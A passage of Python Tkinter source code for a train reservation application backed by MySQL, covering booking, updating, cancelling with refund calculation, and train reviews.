range(self.NumberOfReservation): #price for bag #self.calculation.append([self.currentselection[i][3], self.currentselection[i][5]]) #row that contain [price, numbag] if int(self.currentselection[i][0]) < 3: pricebag = 0 ##self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) else: pricebag = (int(self.currentselection[i][0]) - 2) * 30 self.priceIndex=i self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) if self.tempUser == 1: self.totalCostCost = self.totalCostCost * 0.8 self.totalCostCost = "{0:.2f}".format(self.totalCostCost) self.totCost=Label(self.MakeReservation, text="$"+str(self.totalCostCost)) #total cost self.totCost.grid(row=6+self.NumberOfReservation, column=2, sticky=W) self.Connect() cursor = self.db.cursor() sql_getCard = '''SELECT RIGHT(CardNumber,4) FROM PaymentInfo WHERE C_Username = %s''' cursor.execute(sql_getCard, (self.userLog)) self.cardNumnum = [] for each in cursor: #get cardnumber of the user from database self.cardNumnum.append(each[0]) self.var3x = StringVar() self.var3x.set(self.cardNumnum[0]) #initial value self.useCardLab=OptionMenu(self.MakeReservation, self.var3x, *self.cardNumnum) ## here options are all the cards in the database for that customer, we need to get these from database self.useCardLab.grid(row=7+self.NumberOfReservation, column=2, sticky=W) useCardLabel=Label(self.MakeReservation, text="Use Card") useCardLabel.grid(row=7+self.NumberOfReservation, column=1, sticky=W) self.addCard=Button(self.MakeReservation, text="Add Card", command=self.Payment_Information) self.addCard.grid(row=7+self.NumberOfReservation, column=3, sticky=W) ConAddTrain=Button(self.MakeReservation, text="Continue adding a train", command=self.continueAddTrain) ConAddTrain.grid(row=8+self.NumberOfReservation, column=1, sticky=W) self.backToTravelExtra = Button(self.MakeReservation, text = "Back", padx = 10, command=self.back10) self.backToTravelExtra.grid(row = 9+self.NumberOfReservation, column = 2, sticky = W) self.submitMakeRes = Button(self.MakeReservation, text = "Submit", padx = 10, command=self.Confirmation) self.submitMakeRes.grid(row=9+self.NumberOfReservation, column = 4, sticky = E) self.RemoveSubmit=Button(self.MakeReservation, text="Remove Selected", command=self.RemoveSubmitButton) self.RemoveSubmit.grid(row=5+len(self.currentselection), column=11, sticky=E) def Confirmation(self): self.ReservationIdList=[] for i in range (len(self.cardNumberFullDigit)): if str(self.var3x.get()) in (str(self.cardNumberFullDigit[i])[4:]): self.cardNumberFullDigit2=self.cardNumberFullDigit[i] self.Connect() cursor6=self.db.cursor() sql_getMaxReservationID='''SELECT ReservationID FROM Reservation''' cursor6.execute(sql_getMaxReservationID) self.ReservationIdList10=[] for each in cursor6: self.ReservationIdList.append(int(each[0])) self.ReservationID=max(self.ReservationIdList) self.ReservationIdList10.append(self.ReservationID+1+i) self.Connect() cursor3=self.db.cursor() sql_PutIntoReservation='''INSERT INTO Reservation(ReservationID,CardNumber, C_Username, Is_cancelled, Total) VALUES(%s,%s,%s,%s,%s)''' cursor3.execute(sql_PutIntoReservation,(str(self.ReservationID+1),str(self.cardNumberFullDigit2), self.userLog, "0", str(self.totalCostCost))) for i in range (len(self.currentselection)): DepartsFromIndex=self.currentselection[i][2].find("(") DepartsFrom=self.currentselection[i][2][:DepartsFromIndex] ArrivesAtIndex=self.currentselection[i][3].find("(") ArrivesAt=self.currentselection[i][3][:ArrivesAtIndex] sql_PutIntoReserveTrain='''INSERT INTO ReserveTrain(ReservationID, TrainNumber,Class,DepartureDate, PassengerName, NumBags, DepartsFrom, ArrivesAt, Price, Is_cancelled) VALUES(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)''' cursor=self.db.cursor() cursor.execute(sql_PutIntoReserveTrain,(str(self.ReservationID+1),str(self.currentselection[i][5]), self.currentselection[i][9], self.currentselection[i][4], self.currentselection[i][1], str(self.currentselection[i][0]),DepartsFrom, ArrivesAt, str(self.currentselection[i][8]),"0")) self.MakeReservation.withdraw() self.Confirm=Toplevel(rootWin) conLabel=Label(self.Confirm, text="Confirmation") conLabel.grid(row=1, column=1, columnspan = 8, sticky=EW) ReseIdLab=Label(self.Confirm, text="Reservation ID "+str(self.ReservationID+1)) ReseIdLab.grid(row=2, column=1, sticky=W) thankLab=Label(self.Confirm, text="Thank you for your purchase. Please save Reservation ID for your Records.", width=55) thankLab.grid(row=3, column=1, sticky=W) GoBackToChoFunc=Button(self.Confirm, text="Go Back to choose functionality", width=25, command=self.back101) GoBackToChoFunc.grid(row=4, column=1, sticky=W) def back101(self): self.Confirm.withdraw() self.currentselection = [] self.NumberOfReservation = 1 self.totalCostCost = 0 self.custFunc() def UpdateReservation(self): self.chofunc.withdraw() self.UpReservation=Toplevel(rootWin) UpdateLabel=Label(self.UpReservation, text="Update Reservation") UpdateLabel.grid(row=1, column=1, columnspan = 8, sticky=EW) ReseIdLab=Label(self.UpReservation, text="Reservation ID ") ReseIdLab.grid(row=2, column=1, sticky=W) self.ReservationIdEntry=Entry(self.UpReservation, width=15) self.ReservationIdEntry.grid(row=2, column=2, sticky=EW) self.ResIdSearch=Button(self.UpReservation,text="Search", command=self.UpdateReservation2) self.ResIdSearch.grid(row=2, column=3, sticky=EW) GoBackToChoFunc=Button(self.UpReservation, text="Back", width=10, command=self.updaterevback) GoBackToChoFunc.grid(row=4, column=1, sticky=W) def updaterevback(self): #back menu functionality for update reservation self.UpReservation.withdraw() self.chofunc.deiconify() def UpdateReservation2(self): self.UpReservation.withdraw() self.UpReservation2=Toplevel(rootWin) ##Note:Error message should pop up if we cant find the reservation ID or it wasn't made by that customer self.Connect() sql_reservationID = '''SELECT ReservationID FROM Reservation WHERE C_Username = %s''' res_idget = [] cursor = self.db.cursor() cursor.execute(sql_reservationID, self.userLog) for each in cursor: res_idget.append(each[0]) for i in range(len(res_idget)): res_idget[i] = str(res_idget[i]) sql_allreserv = '''SELECT ReservationID FROM ReserveTrain''' cursor1 = self.db.cursor() cursor1.execute(sql_allreserv) allrevid = [] for each in cursor1: allrevid.append(each[0]) for i in range(len(allrevid)): allrevid[i] = str(allrevid[i]) if str(self.ReservationIdEntry.get()) not in res_idget or str(self.ReservationIdEntry.get()) not in allrevid: self.UpReservation2.withdraw() messagebox.showerror("Error", "Reservation ID cannot be found or not made by the customer") self.UpdateReservation() else: UpdateLabel=Label(self.UpReservation2, text="Update Reservation") self.Connect() self.getlist = [] sql_getinfoinfo = '''SELECT ReserveTrain.TrainNumber, ReserveTrain.DepartureDate, ReserveTrain.DepartsFrom, ReserveTrain.ArrivesAt, ReserveTrain.Class, ReserveTrain.NumBags, ReserveTrain.PassengerName FROM ReserveTrain INNER JOIN Reservation ON Reservation.ReservationID = ReserveTrain.ReservationID WHERE Reservation.ReservationID = %s''' cursor = self.db.cursor() cursor.execute(sql_getinfoinfo, self.ReservationIdEntry.get()) cursor1 = self.db.cursor() sql_getPriceprice = '''SELECT FirstClassPrice, SecondClassPrice FROM TrainRoute WHERE TrainNumber = %s''' cursor2 = self.db.cursor() sql_getArrDep = '''SELECT ArrivalTime, DepartureTime FROM TrainStopStation WHERE TrainNumber = %s AND Name = %s''' pricelist1 = [] getlist1 = [] getprice1 = [] getlist2 = [] for each in cursor: self.getlist.append([each[0],each[1],each[2],each[3],each[4],each[5],each[6]]) #[TrainNumber, DepartureDate, DepartsFrom, ArrivesAt, Class, NumBags, PassengerName] cursor1.execute(sql_getPriceprice, each[0]) for eacheach in cursor1: getlist1.append([eacheach[0], eacheach[1]]) #FirstClassPrice, SecondClassPrice for i in range(len(self.getlist)): self.Connect() cursor2.execute(sql_getArrDep, (str(self.getlist[i][0]), self.getlist[i][2])) for eacheacheach in cursor2: getlist2.append([eacheacheach[0], eacheacheach[1]]) #ArrivalTime, DepartureTime for i in range(len(self.getlist)): if self.getlist[i][4] == "FirstClass": getprice1.append(getlist1[i][0]) elif self.getlist[i][4] == "SecondClass": getprice1.append(getlist1[i][1]) for i in range(len(self.getlist)): self.getlist[i].append(getlist2[i][0]) self.getlist[i].append(getlist2[i][1]) self.getlist[i].append(getprice1[i]) #TrainNumber, DepartureDate, DepartsFrom, ArrivesAt, Class, NumBags, PassengerName, ArrivalTime, DepartureTime, Price UpdateLabel.grid(row=1, column=1, columnspan = 8, sticky=EW) titleList=["Select", "Train ","Departure Time", "Arrival Time","Duration","Departure Date"," Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "] for i in range(len(titleList)): title=Label(self.UpReservation2, text=titleList[i]) title.grid(row=2, column=i+1, sticky=EW) self.varxD = IntVar() for i in range(len(self.getlist)): radioselect = Radiobutton(self.UpReservation2, variable = self.varxD, value = int(i)) radioselect.grid(row=3+i, column = 1, sticky=W) trainxD = Label(self.UpReservation2, text= str(self.getlist[i][0])) trainxD.grid(row=3+i, column = 2, sticky=W) departxD = Label(self.UpReservation2, text= str(self.getlist[i][8])) departxD.grid(row=3+i, column = 3, sticky=W) arrivalxD = Label(self.UpReservation2, text= str(self.getlist[i][7])) arrivalxD.grid(row=3+i, column = 4, sticky=W) depdatexD = Label(self.UpReservation2, text= str(self.getlist[i][1])) depdatexD.grid(row=3+i, column = 6, sticky=W) departfrxD = Label(self.UpReservation2, text= str(self.getlist[i][2])) departfrxD.grid(row=3+i, column = 7, sticky=W) arrivesatxD = Label(self.UpReservation2, text= str(self.getlist[i][3])) arrivesatxD.grid(row=3+i, column = 8, sticky=W) classxD = Label(self.UpReservation2, text= str(self.getlist[i][4])) classxD.grid(row=3+i, column = 9, sticky=W) pricexD = Label(self.UpReservation2, text= str(self.getlist[i][9])) pricexD.grid(row=3+i, column = 10, sticky=W) numbagxD = Label(self.UpReservation2, text= str(self.getlist[i][5])) numbagxD.grid(row=3+i, column = 11, sticky=EW) passnamexD = Label(self.UpReservation2, text= str(self.getlist[i][6])) passnamexD.grid(row=3+i, column = 12, sticky=W) Duration=abs((self.getlist[i][7]-self.getlist[i][8]).total_seconds()/3600) DurationHour=abs(int(Duration)) DurationMinute=abs((int((Duration-DurationHour)*60))) DurationLabel=Label(self.UpReservation2, text=str(DurationHour)+"hr"+str(DurationMinute)+"min") DurationLabel.grid(row=3+i, column=5,sticky=W) Next=Button(self.UpReservation2,text="Next", command=self.DepartDateCheck) Next.grid(row=4+len(self.getlist), column=3, sticky=E) Back=Button(self.UpReservation2, text="Back", command=self.backupdaterev) Back.grid(row=4+len(self.getlist), column=1, sticky=W) def backupdaterev(self): self.UpReservation2.withdraw() self.UpdateReservation() def DepartDateCheck(self): ##checing whether you are allowed to update the reservation now since rervation update cant be made one day earlier than departure date. if int((self.getlist[self.varxD.get()][1]-datetime.date.today()).days)<2: messagebox.showerror("Error","An Update Should be made One day Earlier than the departure date.") elif int((self.getlist[self.varxD.get()][1]-datetime.date.today()).days)>1: self.UpdateReservation3() def UpdateReservation3(self): self.UpReservation2.withdraw() self.UpdateRe3 = Toplevel(rootWin) self.updatesel=self.varxD.get() UpdateLabel=Label(self.UpdateRe3, text="Update Reservation") UpdateLabel.grid(row=1, column=1, columnspan = 8, sticky=EW) CurrentTic=Label(self.UpdateRe3, text="Current Train Ticket") CurrentTic.grid(row=2, column=1, sticky=W) titleList=["Train ","Departure Time","Arrival Time", "Duration","Departure Date"," Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "] for i in range(len(titleList)): title=Label(self.UpdateRe3, text=titleList[i]) title.grid(row=3, column=i+1, sticky=EW) train1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][0])) train1xS.grid(row=4, column = 1, sticky=EW) depart1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][8])) depart1xS.grid(row=4, column = 2, sticky=EW) arrival1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][7])) arrival1xS.grid(row=4, column = 3, sticky=EW) depdate1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][1])) depdate1xS.grid(row=4, column = 5, sticky=EW) departfr1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][2])) departfr1xS.grid(row=4, column = 6, sticky=EW) arrivesat1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][3])) arrivesat1xS.grid(row=4, column = 7, sticky=EW) class1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][4])) class1xS.grid(row=4, column = 8, sticky=EW) price1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][9])) price1xS.grid(row=4, column = 9, sticky=EW) numbag1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][5])) numbag1xS.grid(row=4, column = 10, sticky=EW) passname1xS = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][6])) passname1xS.grid(row=4, column = 11, sticky=EW) Duration=abs((self.getlist[0][7]-self.getlist[0][8]).total_seconds()/3600) DurationHour=abs(int(Duration)) DurationMinute=abs((int((Duration-DurationHour)*60))) DurationLabel=Label(self.UpdateRe3, text=str(DurationHour)+"hr"+str(DurationMinute)+"min") DurationLabel.grid(row=4, column=4,sticky=W) NewDepDatLab=Label(self.UpdateRe3, text="New Departure Date") NewDepDatLab.grid(row=5, column=1, sticky=W) self.NewDepDat=Entry(self.UpdateRe3, width=15) self.NewDepDat.grid(row=5, column=2, sticky=W) datedateput = Label(self.UpdateRe3, text = "YYYY-MM-DD") datedateput.grid(row=6, column = 2, sticky=W) self.searchAvail=Button(self.UpdateRe3, text="Search Availability", command=self.SearchAvailability) self.searchAvail.grid(row=5, column=3, sticky=E) def SearchAvailability(self): self.comparedep = self.NewDepDat.get() self.comparedep1 = self.comparedep.split('-') for i in range(len(self.comparedep1)): self.comparedep1[i] = int(self.comparedep1[i]) self.comparedep2 = datetime.date(self.comparedep1[0], self.comparedep1[1], self.comparedep1[2]) #change to date XXXX-YY-ZZ if self.comparedep2 > datetime.date.today(): updatetrainxD1 = Label(self.UpdateRe3, text = "Updated Train Ticket") updatetrainxD1.grid(row=7, column = 1, sticky =W) titleList=["Train ","Departure Time","Arrival Time", "Duration","Departure Date"," Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "] for i in range(len(titleList)): title1=Label(self.UpdateRe3, text=titleList[i]) title1.grid(row=8, column=i+1, sticky=EW) train1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][0])) train1xS1.grid(row=9, column = 1, sticky=EW) depart1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][8])) depart1xS1.grid(row=9, column = 2, sticky=EW) arrival1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][7])) arrival1xS1.grid(row=9, column = 3, sticky=EW) depdate1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][1])) depdate1xS1.grid(row=9, column = 5, sticky=EW) departfr1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][2])) departfr1xS1.grid(row=9, column = 6, sticky=EW) arrivesat1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][3])) arrivesat1xS1.grid(row=9, column = 7, sticky=EW) class1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][4])) class1xS1.grid(row=9, column = 8, sticky=EW) price1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][9])) price1xS1.grid(row=9, column = 9, sticky=EW) numbag1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][5])) numbag1xS1.grid(row=9, column = 10, sticky=EW) passname1xS1 = Label(self.UpdateRe3, text= str(self.getlist[self.updatesel][6])) passname1xS1.grid(row=9, column = 11, sticky=EW) Duration1=abs((self.getlist[0][7]-self.getlist[0][8]).total_seconds()/3600) DurationHour1=abs(int(Duration1)) DurationMinute1=abs((int((Duration1-DurationHour1)*60))) DurationLabel1=Label(self.UpdateRe3, text=str(DurationHour1)+"hr"+str(DurationMinute1)+"min") DurationLabel1.grid(row=9, column=4,sticky=W) changeFeeLabel1=Label(self.UpdateRe3, text="Change Fee $50") changeFeeLabel1.grid(row=10,column=1,sticky=W) self.Connect() cursor21=self.db.cursor() sql_getPrice='''SELECT Total FROM Reservation WHERE ReservationID=%s''' cursor21.execute(sql_getPrice,(self.ReservationIdEntry.get())) for each in cursor21: self.UpdatedTotalCost=float(each[0]) self.UpdatedTotalCost=self.UpdatedTotalCost+50 UpTotCostLab=Label(self.UpdateRe3, text="Updated Total Cost $ "+str(self.UpdatedTotalCost)) UpTotCostLab.grid(row=11,column=1,sticky=W) self.backxD = Button(self.UpdateRe3, text = "Back",command=self.back24) self.backxD.grid(row = 12, column = 1, sticky = W) self.submitxD = Button(self.UpdateRe3, text = "Submit", command=self.UpResSubmit) self.submitxD.grid(row = 12, column = 3, sticky = W) else: messagebox.showerror("Error", "This date has been passed, Choose a date in the future.") self.UpdateRe3.withdraw() self.UpdateReservation3() def back24(self): self.UpdateRe3.withdraw() self.UpReservation2.deiconify() def UpResSubmit(self): ## print(str(self.UpdatedTotalCost),self.NewDepDat.get(),str(self.ReservationIdEntry.get())) self.Connect() cursor=self.db.cursor() sql_depDateUpdate='''UPDATE ReserveTrain SET DepartureDate=%s WHERE ReservationID=%s AND TrainNumber=%s AND DepartureDate=%s AND Class=%s AND PassengerName=%s AND DepartsFrom=%s AND ArrivesAt=%s ''' cursor.execute(sql_depDateUpdate,(str(self.NewDepDat.get()),str(self.ReservationIdEntry.get()), str(self.getlist[self.varxD.get()][0]),str(self.getlist[self.varxD.get()][1]),str(self.getlist[self.varxD.get()][4]),str(self.getlist[self.varxD.get()][6]), str(self.getlist[self.varxD.get()][2]), str(self.getlist[self.varxD.get()][3]))) self.Connect() cursor2=self.db.cursor() sql_TotalCostUpdate='''UPDATE Reservation SET Total=%s WHERE ReservationID=%s''' cursor2.execute(sql_TotalCostUpdate,(str(self.UpdatedTotalCost),str(self.ReservationIdEntry.get()))) messagebox.showinfo("Success","Reservation was updated successfully") self.UpdateRe3.withdraw() self.custFunc() def CancelReservation(self): self.chofunc.withdraw() self.CaRev = Toplevel(rootWin) CanLabel=Label(self.CaRev, text="Cancel Reservation") CanLabel.grid(row=1, column=1, columnspan = 8, sticky=EW) ReseIdLab=Label(self.CaRev, text="Reservation ID ") ReseIdLab.grid(row=2, column=1, sticky=W) self.CanReservationIdEntry=Entry(self.CaRev, width=15) self.CanReservationIdEntry.grid(row=2, column=2, sticky=EW) self.CanResIdSearch=Button(self.CaRev,text="Search", command=self.CancelReservationSearch) self.CanResIdSearch.grid(row=2, column=3, sticky=EW) GoBackToChoFunc=Button(self.CaRev, text="Back", width=10, command=self.back12) GoBackToChoFunc.grid(row=4, column=1, sticky=W) def back12(self): self.CaRev.withdraw() self.custFunc() def CancelReservationSearch(self): self.CancelReservationId=self.CanReservationIdEntry.get() self.Connect() cursor=self.db.cursor() sql_getFromReserveTrain='''SELECT ReservationID FROM ReserveTrain''' cursor.execute(sql_getFromReserveTrain) cancelReservationList=[] for each in cursor: cancelReservationList.append(int(each[0])) if int(self.CanReservationIdEntry.get()) not in cancelReservationList: messagebox.showerror("Error","Reservation ID does not exist") elif int(self.CanReservationIdEntry.get()) in cancelReservationList: self.CancelReservation2() def CancelReservation2(self): self.CaRev.withdraw() self.CanReservation2 = Toplevel(rootWin) CanLabel=Label(self.CanReservation2, text="Cancel Reservation") CanLabel.grid(row=1, column=1, columnspan = 8, sticky=EW) titleList=["Train Number"," Depart Time ","Arrival Time ","Duration","Departure Date "," Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "] for i in range(len(titleList)): title=Label(self.CanReservation2, text=titleList[i]) title.grid(row=2, column=i+1, sticky=EW) self.CancelReservationId=self.CanReservationIdEntry.get() self.Connect() cursor=self.db.cursor() sql_getFromReserveTrain='''SELECT * FROM ReserveTrain WHERE ReservationID=%s''' cursor.execute(sql_getFromReserveTrain,(self.CancelReservationId)) cancelReservationList=[] for each in cursor: cancelReservationList.append([each[1],each[2],each[3],each[4],each[5],each[6],each[7]]) for i in range(len(cancelReservationList)): self.Connect() cursor2=self.db.cursor() if cancelReservationList[i][1]=="FirstClass": sql_getPrice='''SELECT FirstClassPrice FROM TrainRoute WHERE TrainNumber=%s''' cursor2.execute(sql_getPrice,(cancelReservationList[i][0])) for each in cursor2: cancelReservationList[i].append(each[0]) elif cancelReservationList[i][1]=="SecondClass": sql_getPrice='''SELECT SecondClassPrice FROM TrainRoute WHERE TrainNumber=%s''' cursor2.execute(sql_getPrice,(cancelReservationList[i][0])) for each in cursor2: cancelReservationList[i].append(each[0]) self.Connect() cursor3=self.db.cursor() sql_getArrivalDeparture='''SELECT DepartureTime FROM TrainStopStation WHERE TrainNumber=%s AND Name=%s''' cursor3.execute(sql_getArrivalDeparture,(cancelReservationList[i][0],cancelReservationList[i][5])) for each in cursor3: cancelReservationList[i].append(each[0]) self.Connect() cursor4=self.db.cursor() sql_getArrivalDeparture='''SELECT DepartureTime FROM TrainStopStation WHERE TrainNumber=%s AND Name=%s''' cursor4.execute(sql_getArrivalDeparture,(cancelReservationList[i][0],cancelReservationList[i][6])) for each in cursor4: cancelReservationList[i].append(each[0]) for i in range (len(cancelReservationList)): trainNumber=Label(self.CanReservation2, text=cancelReservationList[i][0]) trainNumber.grid(row=3+i, column=1, sticky=EW) departTime=Label(self.CanReservation2, text=cancelReservationList[i][8]) departTime.grid(row=3+i, column=2, sticky=EW) arrivalTime=Label(self.CanReservation2, text=cancelReservationList[i][9]) arrivalTime.grid(row=3+i, column=3, sticky=EW) departDate=Label(self.CanReservation2, text=cancelReservationList[i][2]) departDate.grid(row=3+i, column=5, sticky=EW) departFrom=Label(self.CanReservation2, text=cancelReservationList[i][5]) departFrom.grid(row=3+i, column=6, sticky=EW) arrivesAt=Label(self.CanReservation2, text=cancelReservationList[i][6]) arrivesAt.grid(row=3+i, column=7, sticky=EW) classLabel=Label(self.CanReservation2, text=cancelReservationList[i][1]) classLabel.grid(row=3+i, column=8, sticky=EW) priceLabel=Label(self.CanReservation2, text=cancelReservationList[i][7]) priceLabel.grid(row=3+i, column=9, sticky=EW) NumBag=Label(self.CanReservation2, text=cancelReservationList[i][4]) NumBag.grid(row=3+i, column=10, sticky=EW) PassengerName=Label(self.CanReservation2, text=cancelReservationList[i][3]) PassengerName.grid(row=3+i, column=11, sticky=EW) Duration1=abs((cancelReservationList[i][9]-cancelReservationList[i][8]).total_seconds()/3600) DurationHour1=abs(int(Duration1)) DurationMinute1=abs((int((Duration1-DurationHour1)*60))) DurationLabel1=Label(self.CanReservation2, text=str(DurationHour1)+"hr"+str(DurationMinute1)+"min") DurationLabel1.grid(row=3+i, column=4,sticky=W) DepartureDateList=[] DateOfCancellation=datetime.date.today() self.Connect() cursor21=self.db.cursor() sql_getPrice='''SELECT Total FROM Reservation WHERE ReservationID=%s''' cursor21.execute(sql_getPrice,(self.CancelReservationId)) for each in cursor21: CancelTotalCost=float(each[0]) for i in range(len(cancelReservationList)): d1 =cancelReservationList[i][2] difference=(d1 - DateOfCancellation) DepartureDateList.append(difference.days) if min(DepartureDateList)>7: AmountToBeRefunded=(CancelTotalCost*0.8)-50 if AmountToBeRefunded<0: AmountToBeRefunded=0 elif min(DepartureDateList)<7 and min(DepartureDateList)>1: AmountToBeRefunded=(CancelTotalCost*0.5)-50 if AmountToBeRefunded<0: AmountToBeRefunded=0 elif min(DepartureDateList)<1: messagebox.showerror("Error","Cancellation is not allowed since Departure Date has passesd.") self.Connect() cursor7=self.db.cursor() sql_checkStudent='''SELECT Is_student FROM Customer WHERE C_Username=%s''' cursor7.execute(sql_checkStudent,(self.userLog)) for each in cursor7: studentCheck=each[0] if int(studentCheck)==1: studentDiscLab=Label(self.CanReservation2, text="(Student Discount was applied)") studentDiscLab.grid(row=4+len(cancelReservationList), column=2, sticky=E) CancelTotalCost="{0:.2f}".format(CancelTotalCost) AmountToBeRefunded = "{0:.2f}".format(AmountToBeRefunded) totalCostResLabel=Label(self.CanReservation2, text="Total Cost Of reservation "+ str(CancelTotalCost)) totalCostResLabel.grid(row=4+len(cancelReservationList), column=1, sticky=W) dateCanLabel=Label(self.CanReservation2, text="Date of Cancellation "+str(DateOfCancellation)) dateCanLabel.grid(row=5+len(cancelReservationList), column=1, sticky=W) AmtRefund=Label(self.CanReservation2, text="Amount to be Refunded "+ str(AmountToBeRefunded)) AmtRefund.grid(row=6+len(cancelReservationList), column=1, sticky=W) Submit=Button(self.CanReservation2,text="Submit", command=self.cancelResrvationSubmit) Submit.grid(row=8+len(cancelReservationList), column=3, sticky=E) Back=Button(self.CanReservation2, text="Back", command=self.goBackToCanRes) Back.grid(row=8+len(cancelReservationList), column=1, sticky=W) def cancelResrvationSubmit(self): self.Connect() cursor=self.db.cursor() sql_deleteReservation='''DELETE FROM ReserveTrain WHERE ReservationID=%s''' cursor.execute(sql_deleteReservation,(str(self.CancelReservationId))) self.Connect() cursor2=self.db.cursor() sql_UpdateIsCan='''UPDATE Reservation SET Is_cancelled=%s WHERE ReservationID=%s''' cursor2.execute(sql_UpdateIsCan,("1",str(self.CancelReservationId))) messagebox.showinfo("Sucess", "Your Reservation was deleted successfully") self.CanReservation2.withdraw() self.custFunc() def goBackToCanRes(self): self.CanReservation2.withdraw() self.CancelReservation() def ViewReview(self): self.chofunc.withdraw() self.ViewRev1 = Toplevel(rootWin) ViewRev=Label(self.ViewRev1, text="View Review") ViewRev.grid(row=1, column=1, columnspan = 8, sticky=EW) TrainNumLab=Label(self.ViewRev1, text="Train Number ") TrainNumLab.grid(row=2, column=1, sticky=W) self.TrainNumEntry=Entry(self.ViewRev1, width=25) self.TrainNumEntry.grid(row=2, column=2, sticky=E) ##Need to find the train from Database. Next=Button(self.ViewRev1,text="Next", command=self.ViewReview2) Next.grid(row=3, column=2, sticky=E) Back=Button(self.ViewRev1, text="Back", command=self.reviewbackback) Back.grid(row=3, column=1, sticky=W) def reviewbackback(self): self.ViewRev1.withdraw() self.custFunc() def ViewReview2(self): self.Connect() sql_getTraintosee = '''Select TrainNumber FROM Review''' cursor1 = self.db.cursor() cursor1.execute(sql_getTraintosee) traintrack = [] for each in cursor1: traintrack.append(str(each[0])) if str(self.TrainNumEntry.get()) in traintrack: self.ViewRev1.withdraw() self.ViewRev2 = Toplevel(rootWin) ViewRev=Label(self.ViewRev2, text="View Review") ViewRev.grid(row=1, column=1, columnspan = 8, sticky=EW) self.Connect() sql_getreview = '''SELECT Rating, Comment FROM Review WHERE TrainNumber = %s''' cursor = self.db.cursor() cursor.execute(sql_getreview,(self.TrainNumEntry.get())) self.ratco = [] aDict = {} for each in cursor: self.ratco.append([each[0],each[1]]) for i in range(len(self.ratco)): #to create dictionary to store [Rating] -> [comment] try: aDict[self.ratco[i][0]].append(", "+self.ratco[i][1]) except: aDict[self.ratco[i][0]] = [self.ratco[i][1]] aList = [] aList = list(aDict) ratingshowLab = Label(self.ViewRev2, text = "Rating") ratingshowLab.grid(row=2, column = 1, sticky = W) commentshowLab = Label(self.ViewRev2, text = "Comment") commentshowLab.grid(row=2, column = 2, sticky = E) for i in range(len(aList)): ratingLab=Label(self.ViewRev2, text=aList[i]) ratingLab.grid(row=3+i, column=1, sticky=W) commentLab = Label(self.ViewRev2, text = aDict[aList[i]]) commentLab.grid(row=3+i, column = 2, sticky = E) Back=Button(self.ViewRev2, text="Back To Choose Functionality", command=self.viewrevback) Back.grid(row=3+len(aList), column=1, columnspan = 8, sticky=EW) else: messagebox.showerror("Error","No Comment/Rating for this Train or Train Number does not exist") self.TrainNumEntry.delete(0,'end') def viewrevback(self): #back to chofunc self.ViewRev2.withdraw() self.chofunc.deiconify() def GiveReview(self): self.chofunc.withdraw() self.GivRev = Toplevel(rootWin) GiveRev=Label(self.GivRev, text="Give Review") GiveRev.grid(row=1, column=1, columnspan = 8, sticky=EW) TrainNumLab=Label(self.GivRev, text="Train Number ") TrainNumLab.grid(row=2, column=1, sticky=W) self.TrainNumEntry2=Entry(self.GivRev, width=25) self.TrainNumEntry2.grid(row=2, column=2, sticky=W) RatingLab=Label(self.GivRev, text="Rating ") RatingLab.grid(row=3, column=1, sticky=W) self.Rating=StringVar() self.RatingList=["very good", "good", "bad", "very bad"] self.Rating.set("very good") #initial value Rating=OptionMenu(self.GivRev, self.Rating, *self.RatingList) ##We need to put the rating into the Database Rating.grid(row=3, column=2, sticky=W) CommentLab=Label(self.GivRev, text="Comment ") CommentLab.grid(row=4, column=1, sticky=W) self.CommentEntry=Entry(self.GivRev, width=50) ##We need to put the comment into the Database self.CommentEntry.grid(row=4, column=2, sticky=W) Submit=Button(self.GivRev,text="Submit", command=self.submitRev) Submit.grid(row=5, column=2, sticky=EW) def submitRev(self): self.Connect() sql_insertReview = '''INSERT INTO Review(C_Username, TrainNumber, Rating, Comment) VALUES (%s, %s, %s, %s)''' cursor = self.db.cursor() sql_getTrainNumberber = '''SELECT TrainNumber FROM TrainRoute''' traintrainnumNum = [] cursor.execute(sql_getTrainNumberber) cursor1 = self.db.cursor() for each in cursor: traintrainnumNum.append(each[0]) for i in range(len(traintrainnumNum)): traintrainnumNum[i] = str(traintrainnumNum[i]) if self.TrainNumEntry2.get() != '' and self.Rating.get() != '' and str(self.TrainNumEntry2.get()) in traintrainnumNum: #check if any field is empty cursor1.execute(sql_insertReview, (self.userLog, self.TrainNumEntry2.get(), self.Rating.get(), self.CommentEntry.get())) messagebox.showinfo("Success", "Review has been added successfully") self.GivRev.withdraw() self.chofunc.deiconify() else: messagebox.showerror("Error", "Reinput Train Number and Rating fields") def ManagerFunc(self): rootWin.withdraw() self.ManFunctionality = Toplevel(rootWin) ManFunc=Label(self.ManFunctionality, text="Choose Functionality") ManFunc.grid(row=1, column=1, columnspan = 8, sticky=EW) ViewRevRep=Button(self.ManFunctionality, text="View Revenue Report", command=self.ViewRevenueReport) ViewRevRep.grid(row=2, column=1, sticky=EW) ViewPopRouRep=Button(self.ManFunctionality, text="View Popular Route Report", command=self.ViewPopularRouteReport) ViewPopRouRep.grid(row=3, column=1, sticky=EW) 